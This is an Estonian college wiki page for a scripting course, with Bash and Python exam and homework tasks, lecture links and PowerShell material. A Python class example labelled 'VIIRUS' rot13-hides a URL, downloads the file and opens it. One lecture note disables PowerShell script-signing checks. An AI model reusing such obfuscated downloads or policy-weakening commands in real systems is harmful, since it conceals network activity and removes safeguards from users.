./skript http://enos.itcollege.ee/~mernits/a/kala kaust kasutajanimi grupp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala&lt;br /&gt;
http://enos.itcollege.ee/~mernits/a/kala2&lt;br /&gt;
&lt;br /&gt;
==Arvestus 7.november kaugõpe==&lt;br /&gt;
&lt;br /&gt;
NB: seda saab lahendada siis, kui bash kodutööd (failiteenus, veebiteenus või õppejõuga kokkulepitud kodutöö on saadetud). Lahendusi ootan 14:00-ks&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab käsurealt 2 parameetrit 1. kasutajanimi 2. failinimi&lt;br /&gt;
&lt;br /&gt;
Skript peab kontrollima, et oleks kaks parameetrit, lisaks kasutaja peab olemas olema ja fail loetav. Kui tingimused pole täidetud, siis tuleb kasutajat teavitada ja väljuda veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Teise parameetrina antud failinimes on failide ja kataloogide nimekiri iga kirje eraldi real, nagu näiteks:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/var/kala&lt;br /&gt;
/var/kala/kala.txt&lt;br /&gt;
/var/kala/kala2.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Skript sätib kõikide failide omanikuks kasutaja, mis anti esimese parameetrina. Kataloogide puhul ei tohi omaniku muuta. St näites on esimene rida ilmselt kataloog (seda tuleb ise testida -d abil näiteks), siis esimese rea puhul ei tehta midagi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui faili/kataloogi ei ole, siis tuleb vastav fail/kataloog ise tekitada. Kui rea lõpus on / siis tuleb teha kataloog (kui pole) ja kui rida ei lõpe / märgiga siis tuleb luua fail, kui seda pole. Kui skript ise loob faile/katalooge, siis omanikuks/grupiks on käsurea esimene parameeter.&lt;br /&gt;
&lt;br /&gt;
==Arvestus 8.november kaugõpe==&lt;br /&gt;
Loo skript, mis saab kaks käsurea parameetrit. 1. kasutajanimi 2. kausta nimi. Kui kasutajat/kausta ei ole või on vale arv parameetreid, siis tuleb töö katkestada veakoodiga 1.&lt;br /&gt;
&lt;br /&gt;
Skript leiab teise käsurea parameetrina antud kasutast kõik kasutajale kuuluvad failid ja teeb nendele sümlingid, kus originaalfailinimele on ette lisatud kasutajanimi.&lt;br /&gt;
&lt;br /&gt;
Näiteks kasut oli /var ja seal oli kasutale audio kuuluv fail /var/kala.txt, siis luuakse sümlink /var/audiokala.txt, mis viitab failile /var/kala.txt-le.&lt;br /&gt;
&lt;br /&gt;
Lisaks tehakse igale kasutajale kuuluvale failile veel teine sümlink, kus failinime ette on liidetud faili md5 räsi.&lt;br /&gt;
&lt;br /&gt;
Näiteks /var/kala.txt-le mille sees on 000 viitab räsi /var/23ebe88c0224f4f4fc0b608216e98735kala.txt&lt;br /&gt;
&lt;br /&gt;
Ülesande tekst pange skriptile kaasa. Skript tuleb saata enne 14:00-i&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestus 29.november kaugõpe==&lt;br /&gt;
Loo skript, mis saab kaks käsurea parameetrit. 1. Serveri nimi või IP aadress, 2. failinimi, kus sees on URL ja otsitav string.&lt;br /&gt;
&lt;br /&gt;
Skript teeb käsurea parameeteriga antud serveri pihta GET päringuid, mis on teise argumendina antud failis ja otsib vastusena saadud lehelt samas failis antud otsitavat stringi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kui string leitakse kirjutataks väljundisse:&lt;br /&gt;
&lt;br /&gt;
SERVER,URL,otsitavstring,kellaaeg (aasta, kuu, päev, tund, minut, sekund), OK või NOK&lt;br /&gt;
&lt;br /&gt;
näitefail:&lt;br /&gt;
&lt;br /&gt;
/index.html,itcollege.ee&lt;br /&gt;
&lt;br /&gt;
/kama/index.html,Siin ei ole kama&lt;br /&gt;
&lt;br /&gt;
==Bash arvestus 31. jaanuar 2015.a. kaugõpe==&lt;br /&gt;
Loo skript, mis saab viis käsurea parameetrit. 1. kasutajanimi, 2. failinimi, 3. grupinimi, 4. kataloogi nimi, 5. pakinimi&lt;br /&gt;
&lt;br /&gt;
1. Skript kontrollib, kas kasutaja on olemas. Kui pole siis exit 1&lt;br /&gt;
&lt;br /&gt;
2. Skript kontrollib, kas grupp on olemas. Kui pole, siis loob&lt;br /&gt;
&lt;br /&gt;
3. Skript kontrollib, kas käsurealt antud failinimi on olemas, kui pole, siis loob. Skript määrab faili kasutajaks antud kasutaja ja grupiks antud grupi&lt;br /&gt;
&lt;br /&gt;
4. Skript kontrollib, kas antud kataloog on olemas ja kui on, siis kopeerib /var/log/ kaustast kõik .log laiendiga failid sinna kausta&lt;br /&gt;
&lt;br /&gt;
5. Skript kontrollib, kas antud pakk on paigaldatud ja ütleb kasutajale, kas pakk on paigaldatud või ei ole.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Python arvestustöö kaubõppele 31. jaanuar 2015.a.==&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
Skript loeb kokku kõik sisendfaili erinevad sõnad ja kirjutab tulemuse väljundfaili kujul.&lt;br /&gt;
&lt;br /&gt;
SÕNA,MITU,PROTSENT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Näiteks failis on neli sõna:&lt;br /&gt;
siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Väljund on:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
siin,1,0.25&lt;br /&gt;
ei,1,0,25&lt;br /&gt;
ole,1,0.25&lt;br /&gt;
kala,1,0.25&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Arvestustöö neile, kellel python kodutöö on saadetud. Arvestus tuleb saata hiljemalt esmaspäeval 22.detsembril==&lt;br /&gt;
&lt;br /&gt;
Loo skript, mis saab kaks käsurea argumenti, sisendfail ja väljundfail.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on suvaline tekst.&lt;br /&gt;
&lt;br /&gt;
Skript loeb kokku kõikide sisendfailis olnud tähtede esinemissageduse ja kirjutab selle väljundisse kujul.&lt;br /&gt;
&lt;br /&gt;
TÄHT,MITU_OLI,PROTSENT kogu tähtede arvust&lt;br /&gt;
&lt;br /&gt;
Näiteks sisendfail sisaldab:&lt;br /&gt;
&lt;br /&gt;
Siin ei ole kala&lt;br /&gt;
&lt;br /&gt;
Väljundfail:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
s,1,7.6923077&lt;br /&gt;
i,3,23.0769231&lt;br /&gt;
n,1,7.6923077&lt;br /&gt;
e,2,15.3846154&lt;br /&gt;
o,1,7.6923077&lt;br /&gt;
l,2,15.3846154&lt;br /&gt;
k,1,7.6923077&lt;br /&gt;
a,2,15.3846154&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui skriptil on vale arv parameetreid või skript ei saa faile avada sobivaks operatsiooniks või faili kirjutada/lugeda, siis tuleb tagastada veakood sys.exit(X). Veakoodid valid ja dokumenteerid ise.&lt;br /&gt;
&lt;br /&gt;
==Näidiskodutöö neile, kes ise teemat ei leidnud ja õppejõult ei saanud==&lt;br /&gt;
&lt;br /&gt;
Skriptil on kaks parameetrit.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1. sisendfaili nimi&lt;br /&gt;
&lt;br /&gt;
2. väljundfaili nimi&lt;br /&gt;
&lt;br /&gt;
Skript kontrollib, et ette oleks antud kaks parameetrit ja sisendfailist saab lugeda ja väljundfaili saab kirjutada.&lt;br /&gt;
&lt;br /&gt;
Sisendfailis on komadega eraldatud 3 tulpa&lt;br /&gt;
&lt;br /&gt;
1. URL,kasutajanmi,parool,otsitav string&lt;br /&gt;
&lt;br /&gt;
Näiteks&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://enos.itcollege.ee,robot,kala,Server&lt;br /&gt;
http://enos.itcollege.ee/~mernits/basicauth/kala.html,robot,kala,SIIN EI OLE KALA&lt;br /&gt;
http://robot.itcollege.ee/kala.html,,,KALA&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui server nõuab basic autentimist, siis kasutad antud kasutajanime ja parooli. Kui server ei nõua autentimist, siis kasutajanime ja parooli ei saadeta.&lt;br /&gt;
&lt;br /&gt;
Kui kasutajanimi ja parool puuduvad, siis kasutajanime ja parooli ei saadeta. (kasutajanimi ja parool ei pea olema kirjas)&lt;br /&gt;
&lt;br /&gt;
Skript teeb päringu iga sisendfaili rea kohta ja kirjutab väljundfaili kujul:&lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,OK&lt;br /&gt;
&lt;br /&gt;
Kui päringu vastuses oli otsitav string ja rea: &lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,NOK&lt;br /&gt;
&lt;br /&gt;
Kui otsitav string puudus, või kasutajanimi parool oli vale või server ei vastanud (ehk kõik ülejäänud juhud, kui otsitavat stringi ei leitud)&lt;br /&gt;
&lt;br /&gt;
==Kodutöö või arvestuse python skript (neile, kes esitavad selle kuni 28.mai.2013 enne arvestuse algust)==&lt;br /&gt;
&lt;br /&gt;
Looge skript, mis teeb päringuid esimese argumendina antud veebilehe pihta ja vahetab iga päringuga browser stringi, millede nimekiri on ette antud failis data.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Failinimi olgu kujul p2ring.eesnimi.perenimi.py, ehk kirjutad sinna oma nime&lt;br /&gt;
&lt;br /&gt;
Näiteks: ./p2ring.margus.ernits.py http://wiki.itcollege.ee/ &lt;br /&gt;
&lt;br /&gt;
ja data näitesisu:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mozilla (libwhisker/2.4)&lt;br /&gt;
Mozilla (Mozilla@somewhere.com)&lt;br /&gt;
Mozilla 4.0(compatible; BotSeer/1.0; +http://botseer.ist.psu.edu)&lt;br /&gt;
Mozilla/1.1 (compatible; MSPIE 2.0; Windows CE)&lt;br /&gt;
Mozilla/1.10 [en] (Compatible; RISC OS 3.70; Oregano 1.10)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 2.0d; Windows NT)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0)&lt;br /&gt;
Mozilla/2.0 &lt;br /&gt;
Mozilla/2.0 (compatible; AOL 3.0; Mac_PowerPC)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veatöötlis: Kui faili ei ole või seda ei saa avada, siis skripti väljumiskood (exit code) on 1.&lt;br /&gt;
&lt;br /&gt;
Hindid: urllib2 urllib changing user agent&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skript saatke õppejõu (Margus Ernits) e-posti aadressile margus.ernitsÄTTitcollege.ee.&lt;br /&gt;
&lt;br /&gt;
NB: Sama ülesannet võib esitada bash arvestustööna, kui kodutöö on olemas.&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:Skriptimiskeeled_(arhiiv)&amp;diff=88452</id>
		<title>Category:Skriptimiskeeled (arhiiv)</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:Skriptimiskeeled_(arhiiv)&amp;diff=88452"/>
		<updated>2015-05-12T07:25:22Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Python */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Skrpitimiskeeled ainekaart=&lt;br /&gt;
&lt;br /&gt;
==Eesmärk==&lt;br /&gt;
Õppeaine eesmärgiks on tutvustada õppijatele skriptimiskeelte vajalikkust korduvate haldustegevuste automatiseerimisel ning arendada õppijate oskuseid serverite ja tööjaamade haldamiseks.&lt;br /&gt;
&lt;br /&gt;
==Lühitutvustus==&lt;br /&gt;
Õppeaines käsitletakse skriptimiskeeli kui ühte töövahendit, mille abil on võimalik süsteemide haldamiseks vajalikke tegevusi efektiivselt ning otstarbekalt sooritada ja automatiseerida. Pikemalt tutvustatakse Bash kooriku programmeerimisvõimalusi, skriptimiskeelt Python ja soovi korral Rubyt või PowerShelli. Õppija omandab aine läbimise käigus enamlevinud srkiptimisvahendite esmase kasutusoskuse ja ülevaate tänapäeval kasutatavatest skriptimisvahenditest.&lt;br /&gt;
&lt;br /&gt;
==Õpiväljundid==&lt;br /&gt;
* Õppija mõistab skriptimise kui töövõtte vajadust ning kasutusvaldkondi.&lt;br /&gt;
* Õppija teab ja tunneb enimkasutatavaid skriptimiskeeli ja nende kasutamisvõimalusi.&lt;br /&gt;
* Õppija oskab kasutada skriptimiskeeli lihtsamate haldustegevuste automatiseerimiseks.&lt;br /&gt;
* Õppija oskab koostada keerulisemaid skripte kasutades selleks erialast kirjandust ja sotsiaalseid keskkondi&lt;br /&gt;
&lt;br /&gt;
==Hinde kujunemine==&lt;br /&gt;
Arvestuse tulemus kujuneb semestri jooksul tehtud töö baasil. Hindamisele kuuluvad iseseisva töö aruanded ehk skriptid koos dokumentatsiooniga (30% ulatuses) ning praktilised kontrolltööd (40% ulatuses). Kontrolltööd koosnevad praktilistest arvuti abil lahendatavatest skriptimisülesannetest. Arvestustööd saab teha semestri jooksul (kui kodutööd/kontrolltööd on tehtud) või arvestuse päeval.&lt;br /&gt;
&lt;br /&gt;
Iseseisev töö koosneb kahest hinnatavast plokist: &lt;br /&gt;
&lt;br /&gt;
* Bash &lt;br /&gt;
&lt;br /&gt;
* Python (mille võib soovi korral asendada Ruby, Perli või PowerShelliga)&lt;br /&gt;
&lt;br /&gt;
Igas plokis tuleb õppijal koostada aruanne, mis koosneb juhendist ja enda loodud skriptist. Iseseisva tööna tuleb teha kokku kaks aruannet.&lt;br /&gt;
&lt;br /&gt;
Arvestuse ülesanne (21.04.2015) on leitav aadressilt: https://docs.google.com/document/d/1d1j-ucJLAfOiwNIpL9CKEUsEbXdVDieHBMFfwJV1h20/edit&lt;br /&gt;
&lt;br /&gt;
=Üldist=&lt;br /&gt;
==Anna teada, mida aines paremaks võiks teha (keelatud pole ka lihtsalt soovitused/kiitused/laitused==&lt;br /&gt;
[[Skriptimiskeeled aine muudatuste ideed]]&lt;br /&gt;
&lt;br /&gt;
==Eelmiste voorude tagasiside==&lt;br /&gt;
&lt;br /&gt;
[[File:Kaugõppe tagasiside koos kommentaaridega 2013 Sügis.pdf]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==GIT==&lt;br /&gt;
Kodutööd on soovitatav esitada GIT repos, kas bitbucket, github või mõne muu keskkonna abil.&lt;br /&gt;
&lt;br /&gt;
https://www.atlassian.com/git/tutorials/&lt;br /&gt;
&lt;br /&gt;
==Loengusalvestused 2014 sügis kaugõppele==&lt;br /&gt;
&lt;br /&gt;
Üldine link: https://echo360.e-ope.ee/ess/portal/section/a7bec2d8-1c58-4228-81f0-38cc032a0d21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://echo360.e-ope.ee/ess/echo/presentation/a0e8b319-a96c-4fd2-adea-f9f5b3eccb02?ec=true Kaugõpe 2014 sügis 27. september 2014.a. Sissejuhatus + Bash algus]&lt;br /&gt;
&lt;br /&gt;
[https://echo360.e-ope.ee/ess/echo/presentation/027c9cf3-1a09-41fb-b799-a19c2d7d42b6?ec=true Kaugõpe 2014 sügis 28. september 2014.a. Bash]&lt;br /&gt;
&lt;br /&gt;
[https://echo360.e-ope.ee/ess/echo/presentation/c0fd3981-d27f-4fe7-aa37-d43e2522816d Kaugõpe 2014-10-17 10:00 Bash]&lt;br /&gt;
&lt;br /&gt;
[https://echo360.e-ope.ee/ess/echo/presentation/558a7951-8bea-46d8-a2be-c063e3a7e3f6 Kaugõpe 2014-10-17 12:00 Bash]&lt;br /&gt;
&lt;br /&gt;
[https://echo360.e-ope.ee/ess/echo/presentation/db7e6e24-2967-44ae-9e90-0613250bf9a4 Kaugõpe 2014-10-18 16:00 Bash]&lt;br /&gt;
&lt;br /&gt;
[https://echo360.e-ope.ee/ess/echo/presentation/005628c4-a800-4efb-94a1-28cffd172ef4 Kaugõpe, 2014-11-08 16:00 Python]&lt;br /&gt;
&lt;br /&gt;
=Bash=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/bash-basics.html Bash loengumaterjal]&lt;br /&gt;
&lt;br /&gt;
[https://echo360.e-ope.ee/ess/portal/section/86a128a6-f11a-4586-bc77-554a3bd50802 Loengute videod 2015 kevad]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/osadmin/kt/enesetest.pdf Enesetest aine Bash osa eelduse kontrolliks]&lt;br /&gt;
&lt;br /&gt;
[http://tldp.org/LDP/abs/html/ Materjal, mille läbitöötamine asendab Bash loengutes kaasatöötamist]&lt;br /&gt;
&lt;br /&gt;
[http://echo360.e-uni.ee/ess/portal/section/c99546d5-d96d-4407-86d1-f74297bdfdd7 Loengute ja praktikumide salvestused -- eelmiste aastate omad]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://echo360.e-uni.ee/ess/echo/presentation/a41829f1-e5f2-4778-8fc1-23337f9f0646 Esimene Bash loeng - sissejuhatus] päevaõppele 05.02.2013&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tunnis lahendatud näited leiab siit - [[Bash näited 2013]]&lt;br /&gt;
&lt;br /&gt;
Kiiruse peale lahendatavad ülesanded. Punkte saab esimene töötav lahendus [[Bash quests 2014]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bash arvestuse saamiseks tuleb teha kodutöö, mis koosneb kahest osast (vaata loengumaterjali) ja sooritada arvestustöö kas tunnis või arvestuse päeval. Arvestustöö tegemise eelduseks on esitatud kodutöö.&lt;br /&gt;
&lt;br /&gt;
==Tunnis antud ülesanded==&lt;br /&gt;
&lt;br /&gt;
http://enos.itcollege.ee/~mernits/skriptimine/robot.itcollege.ee-access.log.zip&lt;br /&gt;
&lt;br /&gt;
http://www.grymoire.com/Unix/Sh.html Hea materjal algajale&lt;br /&gt;
&lt;br /&gt;
===Bash Kodutöö 1 - failiteenus===&lt;br /&gt;
Looge skript, mis jagaks etteantud grupile uue kausta&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
jaga KAUST GRUPP &amp;lt;JAGATUD KAUST&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Skript teeb järgnevat&lt;br /&gt;
&lt;br /&gt;
*paigaldab samba (see osa pole kohustuslik)&lt;br /&gt;
&lt;br /&gt;
*loob kausta KAUST (kui vaja)&lt;br /&gt;
&lt;br /&gt;
*loob grupi GRUPP (kui vaja)&lt;br /&gt;
&lt;br /&gt;
*lisab grupile sobivad read smb.conf faili ja teeb failiserveri teenusele reload&#039;i&lt;br /&gt;
&lt;br /&gt;
*abimaterjal: [[Failiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.pdf  Failiserveri loeng ]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.pdf  Veebiserveri loeng ]&lt;br /&gt;
&lt;br /&gt;
Kes jõuab teeb enne konfiguratsioonist koopia ja teeb muudatused koopiasse. Koopiat testitakse testparm korraldusega ja kopeeritakse alles seejäral fail üle&lt;br /&gt;
&lt;br /&gt;
[[Bash_n%C3%A4ide | Tunnis antud näide ]]&lt;br /&gt;
&lt;br /&gt;
===Bash kodutöö 2 - veebihosting/veebiteenus===&lt;br /&gt;
&lt;br /&gt;
Looge skript, mis looks uue veebkodu&lt;br /&gt;
Kasutaja sisestab:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
loo-kodu www.minuveebisait.ee&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*Skript paigaldab apache2 serveri, kui see puudub&lt;br /&gt;
*Loob nimelahenduse (lihtsalt /etc/hosts failis)&lt;br /&gt;
*Kopeerib vaikimisi veebisaidi ja modifitseerib index.html faili sisu vastavalt loodavale lehele&lt;br /&gt;
*Abimaterjal [[Virtualhost apache2 näitel]] [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The only way to really learn scripting is to write scripts&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
===Praktika===&lt;br /&gt;
&lt;br /&gt;
* Esimeses praktikumis installeeritakse Ubuntu töölaud ja luuakse lihtsamaid skripte&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Tunnis antud ülesanded (Bash)==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Teha skript, mis loeb käsurealt ip aadressi ja nime,&lt;br /&gt;
 ning lisab loetud andmed /etc/hosts faili (5p, 3p, 2p)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Bash quests 2013]] - leht neile, kellel pole bash kodutöö teema ideed...&lt;br /&gt;
&lt;br /&gt;
[[Skriptimiskeeled aine aruanded 2010 sügis]]&lt;br /&gt;
&lt;br /&gt;
===Teemad===&lt;br /&gt;
&lt;br /&gt;
=Python=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/python/python-algkursus-v6-2012-fall.odp Loengumaterjal ODP vormingus]&lt;br /&gt;
&lt;br /&gt;
[http://echo360.e-uni.ee/ess/echo/presentation/318ae1d5-75ce-4520-9ce6-16315f500f90 Päevaõppe loengu salvestus 19.märts.2013]&lt;br /&gt;
&lt;br /&gt;
Lisamaterjal (algajad saavad siit abi isegi siis, kui programmeerimise algõpe jäi puudulikuks) &lt;br /&gt;
&lt;br /&gt;
http://learnpythonthehardway.org/book/ -  Selle materjali läbimine asendab loengutes kohalkäimist&lt;br /&gt;
&lt;br /&gt;
http://www.codecademy.com/tracks/python - Väga hea algus algajale&lt;br /&gt;
&lt;br /&gt;
https://courses.cs.ut.ee/all/MTAT.03.100/2012_fall/uploads/opik/ - Suurepärane materjal&lt;br /&gt;
&lt;br /&gt;
[[Python tunnis tehtud näited‎]]&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
&lt;br /&gt;
import urllib&lt;br /&gt;
from PIL import Image&lt;br /&gt;
import string&lt;br /&gt;
&lt;br /&gt;
VIIRUS=&#039;uggc://vztf.kxpq.pbz/pbzvpf/clguba.cat&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#see funktsioon jäta viimaseks!&lt;br /&gt;
def make_rot_n(n):&lt;br /&gt;
 lc = string.lowercase&lt;br /&gt;
 trans = string.maketrans(lc, lc[n:] + lc[:n])&lt;br /&gt;
 return lambda s: string.translate(s, trans)&lt;br /&gt;
&lt;br /&gt;
rot13 = make_rot_n(13)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
fh = urllib.urlopen(rot13(VIIRUS))&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
localFile = open(&#039;v.png&#039;, &#039;w&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
localFile.write(fh.read())&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
localFile.close()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
f = Image.open(&amp;quot;v.png&amp;quot;).show()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Python kodutööd==&lt;br /&gt;
&lt;br /&gt;
Python kodutöö saamiseks saada e-kiri õppejõule ja subjektiks pane Python kodutöö küsimine.&lt;br /&gt;
&lt;br /&gt;
=PowerShell=&lt;br /&gt;
&lt;br /&gt;
Paigaldage Windows Management Framework 5.0 Preview  http://www.microsoft.com/en-us/download/details.aspx?id=44987&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Skriptimiskeeled: powershelli kodutööd 2012, kevad, päevaõpe]]==&lt;br /&gt;
* [[PowerShelli näidisteemad kodutöödeks 2012, kevad, päevaõpeõpe]]&lt;br /&gt;
* [[PowerShelli näidisteemad kodutöödeks 2010, sügis, kaugõpe]]&lt;br /&gt;
[[PowerShelli arvestusülesanne 2011, sügis, kaugõpe]]&lt;br /&gt;
&amp;lt;!--==Windows operatsioonisüsteemis kasutatavad scriptimiskeeled: lühitutvustus==&lt;br /&gt;
===Teooria===&lt;br /&gt;
&lt;br /&gt;
===Praktika===&lt;br /&gt;
http://rkeithhill.wordpress.com/2011/10/19/windows-powershell-version-3-simplified-syntax/&lt;br /&gt;
&lt;br /&gt;
==VBScript ja selle kasutamine haldustegevuste automatiseerimisel==&lt;br /&gt;
===Teooria===&lt;br /&gt;
&lt;br /&gt;
===Praktika===--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=PowerShell scriptimiskeele tutvustus, peamised kasutatavad käsud=&lt;br /&gt;
* Õpiobjekt: PowerShell skriptimiskeele ja -keskkonna tutvustus http://enos.itcollege.ee/~mernits/Powershell1/&lt;br /&gt;
* Hea algajale: http://technet.microsoft.com/en-US/scriptcenter/dd742419.aspx&lt;br /&gt;
&lt;br /&gt;
==Tutvustus==&lt;br /&gt;
* Windows PowerShell Owner’s Manual http://technet.microsoft.com/et-ee/library/ee221100(en-us).aspx&lt;br /&gt;
* Introducing Windows PowerShell http://msdn.microsoft.com/en-us/library/ms714418(v=VS.85).aspx&lt;br /&gt;
* Scripting with Windows PowerShell http://technet.microsoft.com/en-us/scriptcenter/powershell.aspx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&#039;&#039;&#039;ABIKS: PowerGUI - http://www.powergui.org/&#039;&#039;&#039; Kena graafiline liides ja palju valmistehtud skripte&lt;br /&gt;
&lt;br /&gt;
==PowerShelli paigaldus==&lt;br /&gt;
* Windows Management Framework (Windows PowerShell 2.0, WinRM 2.0, and BITS 4.0) http://support.microsoft.com/kb/968929&lt;br /&gt;
&lt;br /&gt;
==PowerShelli seaded==&lt;br /&gt;
* Using the Set-ExecutionPolicy Cmdlet http://technet.microsoft.com/et-ee/library/ee176961(en-us).aspx&lt;br /&gt;
** Signing PowerShell Scripts http://www.hanselman.com/blog/SigningPowerShellScripts.aspx http://www.hanselman.com/blog/SigningPowerShellScripts.aspx&lt;br /&gt;
** Signing PowerShell Scripts – Automatically http://huddledmasses.org/signing-powershell-scripts-automatically/&lt;br /&gt;
** Obtaining a Code Signing Certificate and Signing PowerShell Scripts http://www.mikepfeiffer.net/2010/02/obtaining-a-code-signing-certificate-and-signing-powershell-scripts/&lt;br /&gt;
* Windows PowerShell Shortcut Keys http://technet.microsoft.com/et-ee/library/ee176868(en-us).aspx&lt;br /&gt;
* Windows PowerShell Profile  http://technet.microsoft.com/et-ee/library/ee692764(en-us).aspx&lt;br /&gt;
* Customizing the Console http://technet.microsoft.com/et-ee/library/ee156814(en-us).aspx&lt;br /&gt;
&lt;br /&gt;
*Käsk, millega loengus allkirjanõude väljalülitasime &lt;br /&gt;
**Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy unrestricted&lt;br /&gt;
&lt;br /&gt;
===Praktika===&lt;br /&gt;
* Loo alias Get-Process cmdleti jaoks: prots&lt;br /&gt;
* Loo funktsioon näitamaks kõiki printereid nimega printerid&lt;br /&gt;
&lt;br /&gt;
* Ekspordi alias&lt;br /&gt;
* Salvesta loodud funktsioon profiili&lt;br /&gt;
&lt;br /&gt;
===Näited===&lt;br /&gt;
[[Esimese loengu näited: PowerShell]]&lt;br /&gt;
&lt;br /&gt;
[[Esimese loengu näited: PowerShell (2011, päevaõpe)]]&lt;br /&gt;
&lt;br /&gt;
==PowerShell skriptimiskeskkonna alus- ja põhimõisted==&lt;br /&gt;
===Sissejuhatus===&lt;br /&gt;
* Getting Started With Windows PowerShell http://technet.microsoft.com/et-ee/library/ee177003(en-us).aspx#ECAA&lt;br /&gt;
* Piping and the Pipeline in Windows PowerShell http://technet.microsoft.com/et-ee/library/ee176927(en-us).aspx&lt;br /&gt;
&lt;br /&gt;
===Muutujad ja massiivid===&lt;br /&gt;
* Set-Variable http://technet.microsoft.com/en-us/library/dd347562.aspx&lt;br /&gt;
* Variables, Arrays, and Hash Tables http://www.powershellpro.com/powershell-tutorial-introduction/variables-arrays-hashes/&lt;br /&gt;
&lt;br /&gt;
===If, kordused ja konveierid===&lt;br /&gt;
* Conditional Logic Using Loops http://www.powershellpro.com/powershell-tutorial-introduction/logic-using-loops/&lt;br /&gt;
* Piping and the Pipeline in Windows PowerShell http://technet.microsoft.com/et-ee/library/ee176927(en-us).aspx&lt;br /&gt;
* PowerShell Parameters, Objects, and Formatting http://www.powershellpro.com/powershell-tutorial-introduction/powershell-parameters-objects-and-formatting/&lt;br /&gt;
&lt;br /&gt;
===Tunni näited===&lt;br /&gt;
&lt;br /&gt;
